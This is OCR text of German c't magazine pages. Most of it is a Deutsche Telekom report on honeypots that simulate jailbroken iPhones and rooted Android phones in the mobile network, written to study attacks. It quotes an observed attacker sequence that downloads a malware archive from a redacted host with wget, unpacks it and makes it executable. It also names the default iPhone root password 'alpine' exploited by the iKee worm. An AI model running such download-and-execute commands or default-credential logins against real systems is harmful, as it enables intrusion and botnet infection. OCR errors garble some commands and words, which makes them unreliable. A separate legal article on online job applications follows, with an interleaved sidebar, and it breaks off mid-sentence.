noch vergleichsweise harmlos mit dem Inter-
net-Mem des Rick-Rollings, bei dem Internet-
User unter einem Vorwand auf eine Web-
Seite gelockt werden, die ihnen dann Rick
Astleys Hit ,Never gonna give you up” vor-
spielt (Gber Humor lasst sich bekannterma-
Ben nicht streiten). Der Wurm platzierte Ast-
leys Konterfei auf dem Bildschirmhinter-
grund der infizierten iPhones und présentier-

te die Meldung ,lkee is never gonna give you
up”. Wohin die Reise auch gehen kénnte, de-
monstrierte nahezu gleichzeitig ein Nieder-
lander, der zunéchst 5 Euro fur das Reinigen
der von seiner lkee-Variante gekaperten
iPhones verlangte.

Opfer der Angriffe waren iPhone-Nutzer,
die ihr Gerat mit den seinerzeit gangigen
Mitteln einem Jailbreak unterzogen hatten
und dabei oftmals ohne ihr Wissen die Fern-
wartungskonsole openssh mit installierten.
iKee und nachfolgende, mitunter maliziése
Varianten gingen alle nach dem gleichen
Prinzip vor: Sie scannten in den IP-Adressbe-
reichen des Mobilfunkanbieters nach aktiven
SSH-Zugédngen und versuchten sich als root-
User mit dem von Apple voreingestellten
Passwort ,alpine” zu verbinden. Da die meis-
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ten Jailbreaker nichts von dieser SSH-Hinter-
tlr wussten, hatten sie ihr Passwort nicht ge-
andert und der Wurm hatte leichtes Spiel.

Aufklarung im mobilen Zeitalter

Um ein Bild davon zu bekommen, was in den
Mobilfunknetzen vielleicht sonst noch so pas-
siert, betreibt die Deutsche Telekom seit eini-
ger Zeit im eigenen Netz sogenannte Honey-
pots, die Angreifer gezielt anlocken sollen. Le-
gendarer Vorreiter dieses Konzepts war Bill
Cheswick, der in den frilhen 90ern einen Ein-
brecher in die von ihm administrierten Netze
der AT&T Bell Laboratories bei seinem Treiben
live beobachtete und seine Erlebnisse in dem
Uberaus lesenswerten Paper ,An Evening with
Berferd” zusammenfasste (leicht auffindbar
Uberden c't-Link am Ende des Artikels).

Seither werden Honeypot-Systeme me-
thodisch genutzt, um Angriffe auf Computer-
systemen zu studieren. Klassische, serversei-
tige Honeypots simulieren Schwachstellen in
Diensten und geben Angreifern Zugriff auf
ein System in kontrollierter Umgebung mit
dem Ziel, deren Verhalten zu studieren und
GegenmalBnahmen zu entwickeln. In der
Welt der PCs und Server klappt das recht gut,
denn die meisten Systeme boten ohnehin
bereits out-of-the-box Dienste Uber ihre
Netzwerkschnittstellen an - zumindest fru-
her sogar ungeschitzt durch Firewalls dem
ganzen Internet.

Vor etwa einem Jahr entstand bei der Te-
lekom das im Folgenden beschriebene Kon-
zept der mobilen Honeypots und wurde in
den eigenen Netzen umgesetzt. Ziel der Ent-
wicklung war es, relevante Endgeréte in den
Mobilfunknetzen zu simulieren, um Netz-
werk-Angriffe auf die offerierten Dienste zu
analysieren, Malware zu sammeln, Trends zu
verifizieren und allgemein Angriffe auf mobi-
le IP-Bereiche zu bewerten.

Allerdings bieten Smartphones in der
Regel zunachst keine Netzwerkdienste an
und sind daher flr Angreifer, die auf Server-
Schwachstellen abzielen, nicht attraktiv.
Grundsatzlich lassen sich durch spezielle
Apps zwar auch Server-Dienste ausfiihren, je-
doch kontrollieren und limitieren die Herstel-
ler den Zugriff auf das System durch Sand-
boxing. Ein erfolgreicher Angreifer hatte zwar
mitunter Zugriff auf sensible Daten, aber den-
noch nur sehr limitierte Rechte.

Um die Locksysteme attraktiver zu gestal-
ten, entschieden wir uns daher, ,entsicherte”
Geréte zu simulieren, auf denen ein erfolgrei-
cher Angreifer Systemrechte erlangt. Durch
dieses Entsichern, das Jailbreaking bei iOS-
Geraten respektive das Rooting bei Android,
wird das Gerat von Sicherheitsmechanismen
des Herstellers befreit. Dienste wie SSH, FTP,
SMB Filesharing oder HTTP/WebDAV kénnen
dann nachinstalliert und auf Standard-Ports
ausgeflhrt werden.

Open Source als Basis

Die Telekom-Honeypots sollten auf bereits
verfigbare Open-Source-Projekte aufsetzen.
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Die Grundlage flir die Simulation der
Smartphones bildete der SSH-Honeypot
Kippo (auch Uber den c’t-Link zu finden). Die
in Python implementierte Software Idsst An-
greifer in einer simulierten Linux-Terminal-
umgebung schalten und walten und zeich-
net dabei alle Befehle auf. Der Zugang ist nur
mit einem Trivialpasswort gesichert, das
ohne viel Aufwand einen Administrator-
Account freigibt.

Standard-Linux-Befehle wie cat /etc/passwd
quittiert Kippo dann ordnungsgemaf und
zeigt den typischen Inhalt einer Passwort-
Datei an:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Auch Befehle wie uptime, uname -a oder cat
/proc/cpuinfo présentieren die erwarteten Sys-
temeigenschaften eines Debian-Systems.
Angreifer konnen kontrolliert mit Kippo
interagieren, also zum Beispiel Downloads
anstofRen und entpacken sowie fehlende Pa-
kete nachinstallieren. Eine typische, von uns
beobachtete Befehlsfolge nach dem Login
istetwa:

waet http://XXXXX.com/juno.tgz
tar zxvf juno.tgz

rm -rf junos.tgz

d kde

chmod a+x

Da ladt ein Angreifer den vorher zusammen-
gestellten Schadcode von einem Server unter
seiner Kontrolle herunter, packt ihn mit dem
Tool tar aus, 16scht das Paket und wechselt in
das Verzeichnis mit seinen Tools, die er dann
alle als ausfuihrbar markiert. AnschlieBend
startet er meist eine Skriptdatei wie ./startsh,
die weitere Standardaktionen bindelt.

Dabei speichert der Honeypot die herun-
tergeladenen Dateien im Hintergrund fur
spatere Analysen, mappt sie aber in das vir-
tuelle Filesystem des Angreifers, damit dieser
weiter damit arbeiten kann. Uberhaupt sind
alle Anderungen, die der Angreifer an dem
System vornimmt, nicht persistent, sondern
nur flr seine Session gultig.

Das tatsachliche Ausfihren nachinstallier-
ter Programme verweigert Kippo allerdings
mit einem simulierten ,Segmentation fault”.
Will der Angreifer eigene, heruntergeladene
Skripte ausfiihren, gibt sich der Honeypot
mit ,O RLY?" oder dem War-Games-Zitat
.Shall we play a game?” zu erkennen. Zu die-
sem Zeitpunkt sind die meisten wichtigen In-
formationen wie Download-Adresse und die
Malware ohnehin schon fiir weitere Analysen
auflerhalb der Reichweite des Angreifers ge-
sichert.

Der ikee-Wurm kaperte schon
2009 rund 20 000 iPhones.

Auf den Leim gegangen

Fir den folgenden, enttduschten Abgang
hat Kippo allerdings noch einen Joker in der
Hinterhand. Der Honeypot fangt Logout-Be-
fehle wie ,exit’, logout’ oder die Tastenkom-
bination ctrl+d ab und présentiert dem An-
greifer einen simulierten Logout und einen
Unix-Shell-Prompt. Nicht selten glaubt sich
der Angreifer danach zurick auf seinem
Unix-Proxy, der als Ausgangsbasis fiir seine
Aktivitaten dient. Da es sich dabei in der
Regel nicht um den Arbeitsplatzrechner, son-
dern um fremde, ebenfalls kompromittierte
Server-Systeme handelt, fallt ihm haufig der
falsche Prompt nicht auf und Kippo kann
seine weiteren Aktivitdten aufzeichnen - also
wie er sich etwa zu anderen Systemen wei-
terverbinden will.

An diesem Punkt kann man als Analyst
beim Abspielen der aufgezeichneten Aktio-
nen in Echtzeit richtig Spall haben. Wenn der
Angreifer beispielsweise ein weiteres System
kontaktiert, das dann ebenfalls vom Honey-
pot simuliert wird, und er bemerkt, dass
etwas nicht stimmt, kann man an den immer
hektischer getippten Befehlen die langsam
aufsteigende Panik beobachten: vier, funf
wiederholte exit-'und logout-Befehle, das
Aufblitzen des Prompts im Terminal, das auf
einen Tastaturbefehl wie ctrl+d schlieBen
ldsst und schlieBlich der verzweifelte Versuch
mit kill -9 sshd den SSH-Daemon hart abzu-
schieBen, was naturlich ebenfalls zum Schei-
tern verurteilt ist. Uber den c't-Link finden Sie
ein Video mit ein paar der mit Kippo aufge-
zeichneten Attacken.

Die Fallenjagd

Out-of-the-box présentiert Kippo ein System,
das sich an einem typischen Debian
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Report | Smartphone-Honeypots

Die virtuellen Honeypots verwendeten jeweils einen der an den Server
angesteckten UMTS-Sticks als Internet-Zugang.

GNU/Linux orientiert, wie es auf vielen Ser-
vern zum Einsatz kommt. Das mussten wir
natirlich méglichst gut an unsere Zielplatt-
formen anpassen. Aufgrund der Linux-ahnli-
chen Eigenschaften von Android und
i(Phone)OS war es ohne grofRen Aufwand
moglich, eine passende Terminalsimulation
zu entwickeln. Die Syntax der meisten Kom-
mandos und auch deren Antwort auf der
Konsole unterscheiden sich nur in Details.
AuBerdem haben wir einige neue Befehle
wie dmesg und netcfg hinzugefiigt und
nicht vorhandene Funktionen wie die bei ge-
rooteten Android-Systemen fehlende Paket-
verwaltung entfernt.

Die Open Source Software wurde schluss-
endlich so umgeschrieben, dass sie der Termi-
nalausgabe eines gerooteten Android 2.2 und
eines iPhone OS 3.1 mit Jailbreak gleicht - in-
klusive Simulation des zugrunde liegenden
Filesystems mit den entsprechenden Dateien.

Um die Eintrittshirde fiir Angreifer niedrig zu
halten, wurde bei der iPhone-Simulation das
voreingestellte root-Passwort ,alpine” ge-
wahlt, bei Android ein Trivialpasswort.

Um so viel Informationen wie méglich zu
sammeln, beschrankten wir uns jedoch nicht
auf den SSH-Dienst. Mit weiteren Open-Sour-
ce-Komponenten stellten wir zusatzliche
Dienste bereit: Eine angepasste Version des
Web-Honeypots Glastopf simuliert einen
Media-Server mit Upload-Formular in das si-
mulierte Smartphone-Filesystem.

Der Breitband-Honeypot honeytrap agiert
als virtuelles Fliegenklebeband zur generi-
schen Erkennung von Angriffen Giber den ge-
samten Port-Bereich eines Netzwerk-End-
punkts, um Wurm-Traffic und spezielle Ex-
ploits abzufangen. Honeytrap bindet dazu
bei Verbindungsversuchen dynamisch Ports
und schreibt eingehende Daten zur weiteren
Analyse weg. Es profitiert dabei von der Tat-

Honeypot-Server

Angreifer
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Die Honeypots nutzten einen speziellen
APN, um die SchutzmaBnahmen fiir mobile
Clients zu umgehen.

sache, dass Wirmer oder Exploit-Tools oft-
mals keinen protokollkonformen Handshake
bendtigen, sondern die Daten ,blind” tiber
eine bestehende TCP-Verbindung senden,
ohne die Antwort auszuwerten.

Auf Grundlage dieser Honeypot-Dienste
wurden schlief3lich ein gejailbreaktes iPhone
und ein gerootetes Android-Handy simu-
liert, die geratespezifische Dienste anbieten
und zudem generische Angriffe auf beliebi-
gen Ports registrieren. Daruber hinaus offe-
rierten wir noch ein weiteres mobiles Endge-
rat in Form eines Windows Laptops mit
UMTS-Zugang. Dort simulierte der Honey-
pot Dionaea diverse Schwachstellen von
Microsoft Windows.

Und rein ins mobile Netz ...

Um bei Geschwindigkeitstests keine Auffal-
ligkeiten zu erzeugen, entschieden wir uns
daftir, die Honeypots ganz regular via UMTS
ans Netz der Deutschen Telekom anzubin-
den. Allerdings kamen uns dabei unsere ei-
genen SchutzmaBRnahmen ein wenig in die
Quere. Denn in den deutschen Mobilfunk-
netzen ist die Kommunikation zwischen
Clients standardmaBig nicht erlaubt. Ein
Wurm wie lkee kénnte sich somit nicht von
einem iPhone zum nachsten hangeln.
AuBerdem verwenden die UMTS-Netze
private IP-Adressen, die erst Uber ein NAT-
Gateway ins o6ffentliche Internet gelangen.
Somit ware ein UMTS-Honeypot aus dem In-
ternet gar nicht direkt zu erreichen. Wir be-
halfen uns deshalb mit einem speziellen Zu-
gangspunkt (APN) mit Zugang zum UMTS-
Netz, hinter dem unsere simulierten Endge-
rate auch aus dem Internet erreichbar waren.

Beobachten, auswerten,
informieren, schiitzen

Die im Mobilfunknetz platzierten Honeypots
liefern seit nunmehr etwas tiber einem Jahr

Simulation
i0S 3.1
Android 2.2

Honeypot-Dienste

Ausleitung
der Angriffe
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kontinuierlich Daten zu Angriffen, Exploits
und heruntergeladener Malware an ein zen-
trales Auswertesystem, an das derzeit knapp
40 weitere Sensoren aus anderen |P-Seg-
menten angeschlossen sind. Hier werden die
Daten aggregiert, analysiert und Malware an
die Anti-Viren-Industrie verteilt.

Die Erkenntnisse lassen sich vielschichtig
nutzen. Sie flieBen zum einen in Form von
Statistiken und Trends in den Quartalsbericht
,Sicherheit im Internet” der Deutschen Tele-
kom ein. Des Weiteren werden offensichtlich
infizierte Kunden, deren IP-Adressen bei An-
griffen auf die Honeypots registriert wurden,
dartber informiert, dass Angriffe tber ihre
infizierten Rechner durchgefiihrt werden.
Und schlieBlich lassen sich Informationen
Uber die Angreifer nutzen, um die eigenen
Systeme gegen Angriffe zu schiitzen.

Etwas Uberrascht hat uns bei der Auswer-
tung, dass die Zahl der Angriffsversuche auf
die IP-Adressbereiche im Mobilfunknetz der
Telekom kaum unter der auf Honeypots mit
Festnetz-IP-Adressen liegt. Die Angreifer
scannen offenbar ohne Unterschied alle
Netze auf Schwachstellen, um so viele Gerate
wie mdglich unter ihre Kontrolle zu bringen.

Auch das Vorgehen der Angreifer auf den
Smartphone-Honeypots unterscheidet sich -
zumindest bislang - nicht nennenswert von
dem, was von den Festnetz-Sensoren erfasst
wird: Nach erfolgreichem Shell-Zugriff und
dem Ausfihren einiger Standardbefehle
wird meist Malware heruntergeladen und
versucht, den Rechner zum Teil eines IRC-
Botnets zu machen.

Insgesamt kann man fast den Eindruck ge-
winnen, dass wir die Fahigkeiten und Flexibi-
litdt der Angreifer etwas Uberschétzt haben.
Dass die Systemeigenschaften, wie die Exis-
tenz bestimmter Verzeichnisse und Dateien,
nicht stimmen, interessiert die meisten nicht.
Befehle werden grofBtenteils blind und ohne
Einbeziehung der Systemeigenschaften abge-
setzt. Obwohl etwa das reduzierte Android-Fi-
lesystem angezeigt wird, versuchen viele Ein-
dringlinge sich immer wieder stur durch Ver-
zeichnisse von Standard-Linux-Systemen zu
bewegen. Und auch wenn die Systemeigen-
schaften einen Darwin-Kern auf einem ARM
Prozessor prdsentieren, wird versucht, tber
das bei Red Hat Ubliche Tool yum Pakete zu
installieren. Angezeigte Prozesslisten wie

system 275 66 ... S com.android.settings
app_1 300 66 ... S comhtchbgp
app_73 306 66 ... S berserker.android.apps.sshdroid

75 % China

8 % Sonstige

1% Deutschland
3 % Frankreich
5% Korea

Die liberwiegende Mehrzahl
der Angriffe kam aus dem Ausland.

die offenkundig zu einem Android-System
gehdren, finden keine weitere Beachtung.
Daraus lasst sich schliefen, dass es hier im
Allgemeinen nicht um Inhalte der Gerdte
oder spezifische Systemeigenschaften geht,
sondern meist nur um die Kontrolle tiber
eine weitere Drone fur das Bot-Netz.

Allerdings konnten wir zumindest verein-
zelt auch schon gezielte Angriffe auf die
Smartphones beobachten: So kopierte ein
Angreifer in einer SSH-Sitzung gezielt das
Adressbuch des simulierten iPhones sowie
dessen Foto-Ordner. Solche Angriffe erfolg-
ten dann nicht gescriptet oder sogar vollau-
tomatisiert wie beim iKee-Wurm, sondern
manuell, nachdem der Angreifer etwa an
Verzeichnisnamen erkannte, dass er auf
einem iPhone gelandet war.

Virtuelle Beute

Innerhalb eines Jahres haben die drei Honey-
pots im Mobilfunknetz insgesamt fast 5 Mil-
lionen Angriffe registriert. Diese flhrten zu
Gber 60 000 Downloads, darunter Windows-
Executables, PHP-Skripte, Shell-Bots, IRC-
Bouncer und Linux-Rootkits. Auf den Tag ge-
rechnet sind das tiber 4000 Angriffe und im-
merhin etwa 50 Downloads pro simuliertem
Gerat.

Allein auf den SSH-Honeypots flr iOS
und Android registrierten wir trotz Pass-
wortabfrage Gber 1200 erfolgreiche Logins.
Glastopf protokollierte sogar etwa 6300 An-
griffe auf die Smartphone-Webdienste. Viel
Zuspruch verzeichnete der Windows-Ho-
neypot, wo rund 4300 Angreifer rund
85 000-mal Alarm ausldsten. Die beliebtes-
ten Ports waren dabei 1433 (MS SQL Server),
80 (HTTP), 22 (SSH) und 5060 (VolP SIP).

Der Angreifer kopiert gezielt Adressbuch und Bilder

des vermeintlichen iPhones.
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Die vergleichsweise hohe Gesamtzahl der
Angriffe kommt vor allem dadurch zustan-
de, dass honeytrap den gesamten Port-Be-
reich abdeckt und dabei jede TCP-Verbin-
dung als Angriff zéhlt, Gber die Daten gesen-
det werden. Ein Fingerprinting des antizi-
pierten Server-Dienstes wird dabei bereits
als Angriff gewertet.

Allerdings ist die Definition eines Events
von Honeypot zu Honeypot unterschiedlich:
Glastopf erzeugt erst dann Events, wenn be-
stimmte, als potenziell bedrohlich eingestuf-
te Requests abgesetzt werden; normale Auf-
rufe der Web-Seite wertet dieser Honeypot
nicht als Attacke. Kippo zéhlt jeden SSH-Con-
nect mit Passworteingabe als Angriff. Auch
das kann bei Bruteforce-Angriffen natirlich
in die Hohe gehen, wenngleich die gewahl-
ten Standardpassworter typischerweise weit
oben auf den Listen stehen.

Insgesamt beobachteten wir Angriffe von
rund 13 000 IP-Adressen, die sehr breit Gber
den Globus verstreut waren: China, die USA,
Korea und Frankreich gehoren deutlich vor
Deutschland zu den Top-Landern. Android-
oder iOS-spezifische Schadprogramme oder
Exploits haben die Honeypots bisher nicht
entdeckt.

Insgesamt kann man nach der Analyse
der Honeypot-Ergebnisse fir normale
Smartphone-Nutzer vorsichtig Entwarnung
geben: Sie sind trotz der vielen Angriffe zu-
mindest in den deutschen Mobilfunknetzen
keinen groen Bedrohungen durch netz-
werkseitige Angriffe ausgesetzt. Die Adress-
umsetzung durch NAT, das Unterbinden von
Inter Client Communication und letzten
Endes auch die fehlenden Dienste der Mo-
bilfunkgerate bieten kaum Angriffsflache.
Méglicherweise wird sich das in Zukunft mit
IPv6 aber éndern.

GroBer ist derzeit sicherlich die Gefahr
durch trojanisierte Applikationen in App-
stores und moglicherweise durch Drive-by-
Infektionen durch Schwachstellen in Client-
Software wie dem Webkit-Browser. Solche
Angriffe lassen sich mit den hier vorgestell-
ten mobilen Honeypots nicht entdecken. Es
gibt allerdings auch daftir bereits Honeypot-
Ansétze, die Angriffe beim aktiven Crawlen
von Appstores und potenziell bosartigen
Webseiten aufspiiren. Wir planen, die von
uns vorgenommenen Erweiterungen insbe-
sondere an Kippo in den nachsten Monaten
in Form von Open Source an die Community
zurlickzugeben. Die mobilen Honeypots der
Telekom werden weiter als Teil des Frih-
warnsystems betrieben, um die Bedrohungs-
lage auf Smartphones in den Mobilfunknet-
zen zu beobachten. Auch wir geben so
schnell nicht auf. (ju)

André Vorbach arbeitet in der Group IT
Security der Deutschen Telekom. Er konzipierte
und realisierte dort das Projekt ,,Mobile Honey-
pots”im Rahmen des Friihwarnprojekts.

www.t.de/1215134
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Recht | Online-Bewerbungen

Dr. Noogie C. Kaufmann

Personal im Datenformat

Rechtliche Fallstricke bei Online-Bewerbungen

Wenn es darum geht,
neue Mitarbeiter zu
gewinnen, nutzen Arbeit-
geber zunehmend das
Internet. Online-Bewerbung
und -Kandidatenakquise
werfen jedoch rechtliche
Probleme auf - von der
Datensicherheit tiber
Zugriffsrechte bis hin

zu Loschungsfristen.

urmbauten aus Bewerbungsmappen wer-

den auf den Schreibtischen von Personal-
entscheidern immer seltener: Die von vielen
Unternehmen heute standardmaBlig oder
sogar ausschlieBlich erwarteten Bewerbun-
gen per Online-Formular belegen Fest- statt
Tischplatten. Vorzulegende Zeugnisse und
andere Unterlagen werden gescannt und als
Bilddateien per Klick im Webformular hochge-
laden - oder als Attachment an Bewerbungs-
E-Mails angehéngt [1]. Mit der erfolgreichen
digitalen Ubermittlung von Namens- und
Adressdaten, Lebensldufen, Gehaltsvorstel-
lungen und allerlei anderen Bestandteilen
einer Bewerbung sind aus rechtlicher Sicht al-
lerdings die entscheidenden Fragen noch
nicht erledigt — vielmehr beginnen sie hier
erst. Ein besonders wichtiger Gesichtspunkt
beim Umgang mit Bewerberdaten betrifft die
in Deutschland geltenden Bestimmungen zur
Datensicherheit.

Zankapfel Verschliisselung

Mussen Unternehmen, die online Bewerbun-
gen entgegennehmen, beispielsweise zum
Schutz der Privatsphére von Bewerbern Ver-
schlusselungstechniken fur die Datenuber-
tragung zur Verfiigung stellen? Die allgemei-
nen Vorgaben in puncto Datensicherheit lie-
fert das Bundesdatenschutzgesetz (BDSG),
insbesondere dessen § 9 samt einer Anlage
dazu[2]. Danach muss ein Website-Betreiber
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die erforderlichen ,technischen und organi-
satorischen MalBnahmen” zum Schutz von
personenbezogenen Daten treffen. Es liegt
auf der Hand, dass auch Bewerberdaten da-
runter fallen. Relativ verstandlich ist auch
noch die in der genannten Anlage vorgese-
hene ,Weitergabekontrolle”: Unternehmen
mussen daflr sorgen, dass beim Transport
der Datenpakete Uibers Netz die personenbe-
zogenen Daten nicht von Unbefugten gele-
sen, verandert oder kopiert werden kénnen.
Ob sich daraus eine ausdriickliche gesetzli-
che Pflicht zur Chiffrierung ergibt, ist umstrit-
ten. Die Anlage zu § 9 BDSG sieht aber fiir die
+Weitergabekontrolle” als eine technische
MaBnahme ,insbesondere die Verwendung
von dem Stand der Technik entsprechenden
Verschlusselungsverfahren” vor.

Im Zusammenhang mit einer denkbaren
Kodierungspflicht wandert seit geraumer
Zeit ein Urteil des Verwaltungsgerichts (VG)
Berlin durch Online-Diskussionsforen und
Blogs [3]. Indem Fall, um den es dabei geht,
erhielt ein gewerblicher Arbeitsvermittler
Post vom Berliner Beauftragten fiir Daten-
schutz und Informationsfreiheit, der ihm die
unverschliisselte Ubermittlung von Bewer-
berprofilen an potenzielle Arbeitgeber ver-
bieten wollte. Auch das Argument des Ver-
mittlers, dass die Kandidaten ausdrcklich in
die nicht kodierte Ubertragung eingewilligt
hatten, wollte der Berliner Datenhter nicht
gelten lassen.

Das VG verwarf diese Ansicht und wies
darauf hin, dass die Einwilligung der Aspiran-
ten zur unverschlisselten Datenubermitt-
lung rechtswirksam erteilt wurde. Das Bun-
desdatenschutzgesetz, so das Gericht, kdnne
nicht dazu fuhren, ,den Betroffenen in der
Weise zu entmundigen, dass er nicht mehr
berechtigt wére, eine Verarbeitung seiner
Daten zu billigen”.

Fur die Ublichen Wege der Online-Bewer-
bung bedeutet dieser Richterspruch, dass
eine nicht kodierte Ubermittlung mit Einwil-
ligung der Kandidaten in Ordnung ist. Unter-
nehmen, die den Datenschutzbehorden
keine offene Flanke bieten wollen und ande-
rerseits ihren Bewerbern datensicheres Han-
deln am eigenen Beispiel vorleben méchten,
sollten bei der Bereitstellung von Webformu-
laren dennoch auf die géangige SSL-Ver-
schlisselung setzen. Die Entscheidung dar-
Uber muss auf jeden Fall feststehen, bevor
das Unternehmen sein Online-Bewerbungs-
verfahren startet.

Zugriffsrechte hiten

Ebenso friihzeitig mussen die IT-Verantwort-
lichen sich um die Verteilung von Zugriffs-
rechten kiimmern. Schon im Vorfeld gilt es
sicherzustellen, dass ausschlief3lich diejeni-
gen Mitarbeiter auf Bewerberdaten zugrei-
fen durfen, deren tdgliches Brot auch tat-
sdchlich die Personalauswahl ist. Hier gilt das
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.Need to know"-Prinzip: Nur wer eine Infor-
mation fur seine Arbeit tatsachlich benétigt,
soll auch darauf zugreifen kénnen. Das BDSG
macht keinen Unterschied zwischen bereits
angestellten Mitarbeitern und Bewerbern
und verlangt fur beide den gleichen techni-
schen Schutz [4].

Die Pflicht, ein Berechtigungskonzept zu
entwickeln, ist juristisch gesehen allerdings
ein alter Hut. So hat bereits 1986 das Bundes-
verwaltungsgericht (BVerwG) flr die mogliche
Einsichtnahme in Personalakten entschieden,
dass der ,Kreis der mit Personalakten befass-
ten Beschéftigten moglichst eng zu halten”
ist [5]. Dem hat sich das Bundesarbeitsgericht
(BAG) angeschlossen und gleichfalls den Un-
ternehmen ins Stammbuch geschrieben, dass

sie personenbezogene Daten von Mitarbei-
tern ,sorgfaltig zu verwahren” haben [6].
BVerwG und BAG hatten mit ihren Ent-
scheidungen in den 1980er Jahren nur die
klassischen Aktenschranke im Blick. Heute
geht es vorrangig um Daten auf Servern. Auf
die kiinftig immer wichtigere Frage, welche
besonderen Regeln fir die Speicherung von
Bewerberdaten mittels Cloud Computing gel-
ten sollen, haben Gerichte bislang noch keine
Antwort geben kénnen. Das Speichern perso-
nenbezogener Daten im Niemandsland der
Cloud-Services bildet derzeit noch ein juris-
tisch weitgehend unbestelltes Feld - obgleich
sich aus dem BDSG zumindest Einschrankun-
gen fur die Nutzung von Diensten ergeben,
die auslandischen Behdorden freien Zugriff ge-

Unzulassige Frage, zuldssige Liige

Je mehr Informationen uber einen Kandida-
ten man hat, desto besser: Was aus Sicht
eines Personalchefs einleuchtet, findet
rechtlich seine Grenzen, auch in Online-Be-
werbungsformularen. Wer unzuldssige Fra-
gen stellt, kann deren unwahre Beantwor-
tung spater nicht zum Kindigungsgrund
fur einen unter falschen Voraussetzungen
eingestellten Bewerber machen. Folgende
Fragen sind tabu:

Deutscher?

International aufgestellte Unternehmen
haben ein berechtigtes Interesse daran, zu
wissen, ob ein Aspirant aus einem Nicht-EU-
Land stammt. Immerhin héngt es davon ab,
ob Arbeits- und Aufenthaltsgenehmigung
notwendig sind. Die Frage ,Kommen Sie
aus einem Land aufBlerhalb der europai-
schen Union?” ist im Webformular zuléssig.
Nicht gefragt werden darf aber nach Her-
kunftslandern innerhalb der EU, da deren
Unterscheidung personaltechnisch irrele-
vant ist. Den Hintergrund dafir bildet die
im europdischen Recht festgeschriebene
Arbeitnehmerfreiztigigkeit: Jeder EU-Burger
darf in jedem Mitgliedsstaat ohne
besondere behordliche Genehmigung ar-
beiten. Ausnahme: Noch bis zum
31.12. 2013 darf gefragt werden, ob ein
Kandidat aus Rumaénien oder Bulgarien
kommt. Fir beide ,Neu-EU-Lénder” gilt in
Bezug auf die Arbeitserlaubnis eine Uber-
gangsregelung [13].

Wehr- oder Zivildienst geleistet?

Diese Frage wiirde Mdnner benachteiligen,
da in Deutschland nur sie zu einem dieser
Dienste herangezogen wurden. Die Diskri-
minierung aufgrund des Geschlechts ver-
bietet § 1 des Allgemeinen Gleichstellungs-
gesetzes (AGQ).

Familienplanung; Single oder nicht?

Allgemein durfen nur solche personenbezo-
genen Daten erhoben werden, die fur den
verfolgten Zweck unbedingt erforderlich

c't2012, Heft 15

sind - das ergibt sich aus den Grundsatzen
der Datensparsamkeit und Datenvermei-
dung, die in § 3a BDSG verankert sind. Im
Arbeitsrecht gilt im Prinzip nichts anderes:
Was zum Privatleben gehért, geht einen
Chef-in spe nichts an [14]. Der Familien-
stand eines Mitarbeiters ist erst nach dessen
Einstellung etwa fur die Abfiihrung von So-
zialabgaben relevant - fur eine Bewerbung
tut er nichts zur Sache. Die Frage nach He-
tero- oder Homosexualitat verbietet sich
schon aufgrund des Benachteiligungsver-
bots in § 1 AGG.

Polizeibekannt?

Das ,polizeiliche” Fiihrungszeugnis vom
Bonner Bundesamt fiir Justiz enthélt nor-
malerweise auch Angaben darlber, die ein
Arbeitgeber nach den Urteilen des BAG
nicht von einem Bewerber verlangen
darf [15]. Ausnahme: Wenn es bei der aus-
geschriebenen Stelle um eine exponierte
Position geht, in der man etwa weit-
reichende finanzielle Entscheidungen fir
das Unternehmen treffen kann, wird die
Frage nach dem Fuhrungszeugnis statthaft
sein.

Geburtsort und -datum?

Ob ein potenzieller neuer Mitarbeiter in Bie-
lefeld, Berlin oder Barcelona geboren ist,
kann fiir einen angebotenen Job nicht rele-
vant sein. Die Frage, wo und wann sie oder
er geboren wurde, darf infolgedessen nicht
gestellt werden. Beim Alter kommt noch
hinzu, dass das AGG es in § 1 als mogliches
Merkmal einer Diskriminierung nennt.

Gewerkschaftsmitglied?

Die Mitgliedschaft in einer Arbeitnehmer-
vertretung spielt sich vorrangig im Privat-
leben des kinftigen Mitarbeiters ab und
istzudem durch Art. 9 Abs. 3 des Grundge-
setzes (GG) geschutzt. Das BAG stuft die
Gewerkschaftszugehorigkeit als irrelevan-
tes Kriterium ein und lasst die Frage
danach nicht zu [16]. Ebenso wére auch
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wahren missen oder ansonsten keine ange-
messene Datensicherheit gewahrleisten [7].

Informationshunger

Um aus der Bewerberflut diejenigen Kandi-
daten herauszupicken, die am besten zum
Unternehmen passen, moéchten Personaler
gern so viel wie moglich wissen. Im Prinzip
gilt der Grundsatz, dass der Arbeitgeber alle
flr den Job relevanten Fakten beim Aspiran-
ten nachfragen darf. Der wiederum muss
wahrheitsgemae Antworten geben. Sollte
nach einer Einstellung herauskommen, dass
die gemachten Angaben nicht stimmten,
kann das Unternehmen den bereits ge-
schlossenen Arbeitsvertrag anfechten und

etwa die Frage nach dem Parteibuch zu
beurteilen.

Raucher/Nichtraucher?

Qualmende Kollegen kénnen Nichtraucher
verdrgern - etwa dann, wenn sie aus einer
Zigarettenpause ins gemeinsame Biiro zu-
riickkommen und eine unangenehme Duft-
note mitbringen. Da die Rauchgewohnhei-
ten aber mit der Aufgabenerfillung nichts
zu tun haben, muss die Frage danach auBen
vor bleiben [17].

Religion?

Die freie Auslibung religioser und weltan-
schaulicher Uberzeugungen steht unter
dem Schutz von Art. 4 GG. Eine Benachteili-
gung wegen solcher Griinde ist nach § 1
AGG verboten [18]. Eine Information zur
eventuellen Abflihrung von Kirchensteuern
bei der Lohnsteuer ist fir den Arbeitgeber
erst im spateren Arbeitsverhdltnis erforder-
lich. Die Frage nach der Zugehérigkeit zu
einer Kirche oder Religionsgemeinschaft
kann nach § 9 AGG allerdings zuldssig sein,
wenn sie eine gerechtfertigte berufliche An-
forderung betrifft — etwa fur Mitarbeiter
kirchlicher Einrichtungen.

Behinderungen?

Obwohl Unternehmen ab einer gewissen
GroRe einen bestimmten Prozentsatz an Ar-
beitsplatzen mit schwerbehinderten Mitar-
beitern besetzen missen, sehen einige Lan-
desarbeitsgerichte (LAG) die Frage nach
einer Schwerbehinderung im Bewerbungs-
formular als unzuldssig an [19]. Das BAG hat
sich bislang nur dahingehend geéduBert,
dass eine solche Frage sechs Monate nach
einer Einstellung zuldssig ist [20].

Schwanger?

Sobald eine unbefristete Stelle ausgeschrie-
ben ist, darf in der Online-Bewerbung nicht
danach gefragt werden, ob die Bewerberin
ein Kind erwartet [21].
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damit eine wirksame Kiindigung erreichen.
Es gibt jedoch Ausnahmen.

Dem Informationshunger sind n@mlich
rechtliche Grenzen gesetzt. Bestimmte Fak-
ten gehoren nach Auffassung der Gerichte in
